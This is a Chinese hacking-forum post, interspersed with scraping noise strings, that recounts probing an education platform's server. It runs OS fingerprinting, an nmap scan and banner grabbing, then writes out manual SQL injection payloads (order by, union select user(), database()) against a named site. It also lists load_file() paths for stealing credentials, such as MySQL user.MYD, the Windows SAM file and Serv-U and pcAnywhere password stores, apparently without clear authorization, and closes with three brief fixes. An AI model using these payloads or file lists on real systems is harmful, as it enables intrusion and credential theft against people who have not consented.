找回密码
 立即注册
查看: 2926|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
7 m% m7 I7 Q: @! I) C  r  @一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
0 B6 s" u& }& G5 |第一步:获取需要的信息( K1 ?- U" i1 Z: Q$ _- |' N
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。1 _) Z, a, l* k/ r
注:以下为保护特用XXX代替敏感信息+ S$ X) W7 w5 |3 Y& \
顺手先PING了一下他们的域名:, D: t6 ]  t) g$ B/ l% H! {, k/ N  c
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)5 s( `0 [) x% V1 Y3 I) i9 M
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms# |7 g: R+ `7 c2 f/ x8 q( ]0 T# c# E
顺便了解一下TTL,学好基础知识才能一路顺风:
* f6 t! Q; }* ~7 uTTL:(Time To Live ) 生存时间
% n, F( X8 J& l9 l! Y指定数据包被路由器丢弃之前允许通过的网段数量。# q- p; Y1 F- w
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。! L" T: @- _- Y- d
使用PING时涉及到的 ICMP 报文类型% k+ Z$ F( U2 Z# m7 ?+ Z  u* _
一个为ICMP请求回显(ICMP Echo Request)4 j. }8 S" q+ P- v- O
一个为ICMP回显应答(ICMP Echo Reply)  Z5 m2 w3 f9 ~- V- Q* }
TTL 字段值可以帮助我们识别操作系统类型。' R6 V  Z6 z5 N+ _9 s: ^3 ]6 Q
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
5 v; o8 x; d2 G0 A! xCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 648 a  m9 G. g) _, [5 `
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
7 ~# v8 m) @0 G$ d微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 328 X; S/ s! v+ A
当然,返回的TTL值是相同的
' ~9 |6 z5 z( `2 ^, D但有些情况下有所特殊
; t* V# r( V1 c' CLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64: u; i% o6 H) N6 L, M: x( Z: U
FreeBSD 4.1, 4.0, 3.4;' L# l/ }7 L, z9 l" m6 `5 g# y- ?
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;  F" }0 |. i' T; k; ^6 Y
OpenBSD 2.6, 2.7,% h% v- K* m+ ^- ]6 e' k; M$ ^
NetBSD
2 l5 H$ a+ j9 L7 l9 VHP UX 10.20
, \; A- c7 A% W8 v5 Q5 QICMP 回显应答的 TTL 字段值为 2557 X/ B: Y; c' E0 S
Windows 95/98/98SE
- Z3 D+ c) |2 c' i9 w( QWindows ME
3 x% C8 @; D% b' |ICMP 回显应答的 TTL 字段值为 32
4 `; H7 R* H* Y5 G% W( A$ h1 vWindows NT4 WRKS" x$ F8 c. K' [, S: }+ o  _
Windows NT4 Server$ M3 f. G4 D" T# u2 A
Windows 2000
$ Q; V  g5 `" n1 H0 |5 Z+ jWindows XP
" Y4 T/ ~+ n4 r. f! |ICMP 回显应答的 TTL 字段值为 128
: M1 x0 P" z0 o! A( w0 u这样,我们就可以通过这种方法来辨别操作系统% |6 i- _: @( o" x9 `4 n
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2559 h7 f, J; [& I4 A- }$ z
用NMAP扫描一下:' f" I; S$ ~- b' |( ^* |9 s
nmap -sT -O XXX.XXX.XXX.XXX3 p( S- M, V; @- ?  w& K& t4 W
如果没有装WinPcap则会弹出提示:
; K# n/ W' ]8 N8 H  g' UWARNING: Could not import all necessary WinPcap functions.  You may need to upgr* `; k# {$ ^! p7 g+ O0 ~
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
( K. T1 ^1 T: h& a& _* g) mode — Nmap may not function completely
" _, [! s7 r) o) Q7 @( |TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher" o1 ]; O" M" N! Z
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win- V. y" H1 N( s# Y- B; Z& r' M
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
" c, R8 b7 y. ^; l1 X6 ld later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v$ D! C0 |6 }2 C( D7 _! u
ersions, you may be able to take iphlpapi.dll from another system and place it i
5 k5 j0 R' x: x& C& m) y" A% hn your system32 dir (e.g. c:\windows\system32).
. v! f& \) y+ v$ Z; b! lQUITTING!) k! Y. |" t7 Z9 x- M' {$ M
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe. i  }+ t/ F+ ]/ z  a- _, G
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
% |8 N& l' F$ W9 cInteresting ports on XXX.XXX.XXX.XXX:
8 J1 z9 b* ?  ~5 {Not shown: 986 closed ports5 J; P' ], X6 P& z: M4 e
PORT     STATE    SERVICE8 ?, Z2 i$ X  Y! P
21/tcp   open     ftp+ s6 b! {! S& ]* S8 u
22/tcp   open     ssh
$ Z4 O2 k# G# D: |8 i23/tcp   open     telnet. q9 A9 r; b* Z/ p. t, k
80/tcp   open     http  ~1 e# E3 E% @+ S" N/ v
111/tcp  open     rpcbind# W) {% A8 r3 U  p. e4 R
135/tcp  filtered msrpc# f; o$ P( ~9 q1 i0 f6 x1 {5 H
139/tcp  filtered netbios-ssn7 P  v; [( z* U$ b( k3 i) d/ A
445/tcp  filtered microsoft-ds
; E! p, W0 m  L& h6 J% [. W4 b513/tcp  open     login
# x7 i0 T, S% g- E2 ~2 ^514/tcp  open     shell: Z: W$ N8 B6 p( A5 F9 P+ B& o  L
593/tcp  filtered http-rpc-epmap
8 ~3 l% s* ^2 n8 S* z1720/tcp filtered H.323/Q.9314 N+ O& v- G2 V8 K0 L7 ~( r
3306/tcp open     mysql
- A  R4 V4 w7 u' M* i4444/tcp filtered krb524! J7 B8 ?) _" o" I( V
Device type: WAP
7 L2 A* j: P$ s: v' F# ]Running: Linux 2.4.X
4 F& f% ]: }  _0 D8 \OS details: DD-WRT (Linux 2.4.35s)+ R$ x8 z3 W+ w8 k% C6 z1 K
Network Distance: 13 hops
% r( p; A7 I, ?/ w! k看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:1 A! n  }& _. \) ~! N9 I, L
login as:0 Y2 e; Y3 d& p7 H6 b* @
Telnet23端口也是开着的,用telnet 命令链接一下:4 \4 K& T* f. U7 N) h6 Q
telnet XXX.XXX.XXX.XXX* A6 K3 b6 E/ P2 p" O- |
提示:" D/ F7 _( D. g5 i! ^6 J% Z5 v+ t
Red Hat Enterprise Linux Server release 5.2 (Tikanga)7 p; v! K+ ~1 P: D) R" e
Kernel 2.6.18-92.el5PAE on an i686# J0 A7 k  V, B2 g( a
login:
& ?( L* r/ j& J% P, ~  @: k获取HTTP头信息:
+ f! ~) d; I* q' }. G- @在本地执行如下PHP代码) `4 E8 `" ^4 B- Z
<?php
* z' B/ q8 w, m6 A  F( ^$url = ‘XXX.XXX.XXX.XXX’;
/ W; g5 g$ w3 M" l2 Nprint_r(get_headers($url));# x4 e% r; L* \: q6 L1 K, C0 l
print_r(get_headers($url, 1));
3 Z4 b& z: }* c% O9 [$ D?>1 C, v$ x" t/ [& [
将以上代码保存为PHP文件,执行:
4 `$ H, K3 M1 c  K  gArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
# x) q" A% \) t/ @8 R# P3 \现在可以得出结论:
- ~' R, c! c4 ?+ `6 t; s6 B+ F; s系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)  k  g( ~# z% G: N) K  \0 \
内核版本:Kernel 2.6.18-92.el5PAE on an i686
5 ~$ ~9 G, y: s1 B8 X5 h8 r2 tWEB服务器版本:nginx/0.7.61
( k; v9 _* |8 V+ j' S第二步,开始测试寻找漏洞
/ A% A3 n$ y3 D' v) @4 f  c$ c9 Y分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
* @: w. f0 R- g9 @& x* J) C( q1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的3 ^) _1 f2 A, X% ^; O
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试0 A! f: {6 s+ W9 }" l3 V& f
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
) L) V' l4 Y$ v  z4 u3 yhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误4 B& Z: h& u! M. K4 ?1 M, h; M
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续( n% S0 z1 V% R- o- Z! X
3、手工注入:
; B, ~7 A4 S& i2 M( u注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
/ `4 e7 [( E8 d2 L3 \' O3.1 猜测当前表字段数
5 h, P: ^, A! n& s/ U. ]http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
0 M; _! z( o' w! C此处猜测有个简单的算法,都是有技巧的吗,呵呵7 x9 M5 k; V! y& y: e: F, E) {
算法简单如下:
9 Z7 H+ z& P, p第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;% F( M) J8 T3 k8 J+ O* ^: ?3 p
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;, [+ s' I, v& o
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
" P4 a7 p0 y0 a& O8 R* j% |# E8 s以此来判断,是否过界,配合取中算法猜出字段数。' D8 N# N8 X3 D3 c# F- ]' T6 I
举例:/ N* b/ M8 t# v1 h8 W
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
+ M! c, Z, k! G7 s, ?: Z4 L. x8 B% rhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
+ F4 i( `6 q& Q' _此时3则为我们要找的字段数。
  F9 T% O7 K, N( j3.2 配合union联合查询字段在页面所位置
  {$ Y) b- G$ x8 d* n我们已经知道了字段数为3,此时则可以做如下操作:* [) H" c7 M' w5 h! i* Q5 P$ ]8 b
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3, ~' t, p7 K9 c
6 A6 z# U' y, w9 N
这样就可以测试到哪些字段在页面上有所显示了,如图:
; G1 [( p/ S& n$ \: i
, {5 P$ M8 n) V9 N7 C# u5 R8 c3.3 查敏感信息. L# p4 Y4 j1 e1 N
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
0 M! g2 S/ j$ ^% Q! Dhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()7 Y% W% s( [0 w8 g' ]' m1 z
3.3.1 先查数据库用户、数据库名,以备后用,如图:* O7 ]( H7 M& U/ R/ J- c' n7 B

; ^( E  q2 F3 l+ O1 x/ @8 \得到数据库用户为root、数据库名为DBxx;5 K9 Q3 ?8 s  E0 P
3.3.2 查配置文件% m. [0 ^$ H, |1 Q8 }& Q! w9 U
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。, s# e8 B/ C: _8 T) c
查看文件有一定的条件限制:
; b- a: ]5 L! C3 T欲读取文件必须在服务器上
1 ?" P: r  e' X  s" j% o必须指定文件完整的路径# q- M) t4 d4 @% ~7 ?/ [9 \
必须有权限读取并且文件必须完全可读% f. U' Y$ l) `5 D( A( [
欲读取文件必须小于 max_allowed_packet/ f, Q% m* K9 \7 M! G! B
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。7 b' f3 x3 Y; I3 ~+ j4 Z) m
常用的一些:* I) X" {) e! U1 C" f
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件% u* p/ H* W( H& b8 ~' e! y4 |; v
/usr/local/apache2/conf/httpd.conf
" c8 m* w; x- g  g9 J7 o% b& q/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
  i0 j8 c  l; [: q, A' B/usr/local/app/php5/lib/php.ini //PHP相关设置
1 s" y5 H/ f1 D- V1 v. Q/etc/sysconfig/iptables //从中得到防火墙规则策略6 R+ {/ w5 ?' T0 j* ~
/etc/httpd/conf/httpd.conf // apache配置文件' S# T% v# i$ [% ^* z
/etc/rsyncd.conf //同步程序配置文件
( v* M2 Z  n' L# V9 i/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.) D# n* K/ U7 a' t1 b" g- l) [
/etc/my.cnf //mysql的配置文件
. s  t  }( g  R( ?  H! g/etc/redhat-release //系统版本
  I  u4 w3 G4 t/etc/issue9 K7 m" d; U1 j5 f$ L
/etc/issue.net2 T" ?; ~( K# ]1 Q
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码7 j, B! p* r6 T1 W' ?
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
, o6 ^8 v) F  `" x8 U* [/ oc:\Program Files\Serv-U\ServUDaemon.ini
4 Y. @3 m7 f- b' ~& Wc:\windows\my.ini //MYSQL配置文件
* L. d  u! L$ c7 ]' sc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件" M4 ^* z; y4 j0 |8 C
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
. S% U; k9 v( ~  ]+ z1 Z& ec:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
& v" [$ V( n  w) D$ Jc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此0 p% h2 L1 e) J5 q, `  F
c:\Program Files\RhinoSoft.com\ServUDaemon.exe8 M' _# l( O2 ?
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件+ s4 |& _# J5 k; D, {% r- l
//存储了pcAnywhere的登陆密码
+ t  q" m6 Z0 ?, Z. z6 ?# D1 r# L由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
4 u* p. Z$ u' C8 t% f这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。2 a8 I0 S" i/ j+ |/ y
最后:防范措施
/ R+ U" G' Q) {8 [; u# F1、修复PHP注入漏洞;7 B" a! b' d: B5 ]5 a# v) u# f# Y
2、Mysql使用普通权限的用户;
3 {$ X4 o4 {2 ~! n; W) X8 D3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表